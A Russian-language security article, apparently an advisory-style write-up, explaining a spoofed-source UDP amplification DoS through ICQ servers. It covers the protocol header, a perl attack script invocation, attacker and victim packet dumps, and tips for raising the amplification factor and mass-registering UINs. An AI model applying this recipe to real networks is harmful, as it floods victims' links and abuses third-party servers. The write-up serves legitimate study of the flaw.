div.main {margin-left: 20pt; margin-right: 20pt}DoS для ICQ
Возможно использовать ICQ-серверы для умножения трафика с
коэффициентом 100 и даже больше. Это означает, что нападающий с
полосой пропускания канала 38 Kbps может заполнять канал связи на
3.8 Mbps.
Известно, ЧТО ICQ использует UDP протокол как свой транспортный
уровень. Каждый UDP-пакет со стороны клиента начинается следующим
заголовком (http://www.securitylab.ru/document/icqv5.html):
Length Content Index Description 2 bytes 05 00 VERSION
Protocol version 4 bytes 00 00 00 00 ZERO Always zero 4 bytes
xx xx xx xx UIN Your UIN 4 bytes xx xx xx xx SESSION_ID Used to
prevent spoofing 2 bytes xx xx COMMAND Command 2 bytes xx xx
SEQ_NUM1 Sequence inits with a random number 2 bytes xx xx
SEQ_NUM2 Inits with 1 (!) 4 bytes xx xx xx xx
CHECKCODE variable xx .. PARAMETERS Parameters
(все пакеты со стороны клиента шифруются а со стороны сервера -
нет)
SEQ_NUM1 инициализирован со случайным числом и увеличивается с
каждым пакетом на 1 (!) (то есть если первый пакет содержит
SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124).
SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым
пакетом, если не определено другое значение (то есть установка
SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE)
SESSION_ID - случайное число, которое должно быть постоянным для
каждого пакета текущего сеанса, иначе они игнорируются сервером.
Кроме того, пакеты сервера отмечены тем же самым значением, чтобы
предотвратить имитацию.
Нападение заключается в том, что соединяясь с сервером как
зарегистрированный пользователь/пользователи, мы подменяем исходный
адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке
команды CMD_LOGIN). Этим мы переадресовываем трафик ответа сервера
жертве (это возможно не только из-за слабости UDP протокола, но
также и из-за предсказуемости правил последовательности SEQ_NUM1 и
SEQ_NUM2). Все эти факты - ядро для формирования нападения.
Реализация:
Чтобы проверить нападение, напишите perl-сценарий, который
вслепую пошлет пакеты, один за другим с некоторой задержкой. В
результате чего получим:
% perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027
(yy.yy.yy.22 - IP жертвы; 1027 порт)
tcpdump атакующего:
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp
53 |
tcpdump жертвы:
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp
382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22
udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103:
icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000
> yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 >
205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port
1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027:
udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp:
yy.yy.yy.22 udp port 1027 unreachable |
Из дампов мы видим, что жертва отвечает на пакеты, полученные с
ICMP недостижимым сообщением, но сервер игнорирует их и продолжает
посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая
сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из
его контактного списка в online.
Подсчитывая мы видим, что отношение запроc/ответ примерно равно
330/10110, что соответствует увеличению 1:30.
Сценарий:
В предыдущей реализации, мы достигли отнюдь не максимального
умножения трафика, потому что нападающий использовал довольно
короткий контактный список с 8 записями.
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57
Однако, возможно послать список из 100 случайных активных
пользователей, или списка наших специальных пользователей, которые
постоянно находятся в online.
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425
Это приведет к лучшему росту, чем линейный в предыдущем
случае.
1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 2:
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 3:
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382
(DF) . . . 18: 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) 19: 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF) 20: 205.188.153.103.4000 >
yy.yy.yy.22.1027: udp 382 (DF)
и в 10 раз больше, на каждые 20 пакетов...
В этот раз коэффициент умножения стал равен 130. Это
означает, что нападающий может увеличивать этот коэффициент,
постоянно ища активных пользователей или создавая и поддерживая их в
активном состоянии.
Другие сценарии:
В других случаях, чтобы увеличивать трафик, мы можем
дополнительно послать запросы поиска (CMD_SEARCH_UIN,
CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и
квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд
выполнялся параллельно, и мы можем это использовать пока сервер
думает что мы в online.
Описанный выше способ может использоваться не только для DDoS
нападений, но также и для быстрой регистрации множества UIN номеров
от различных IP.
|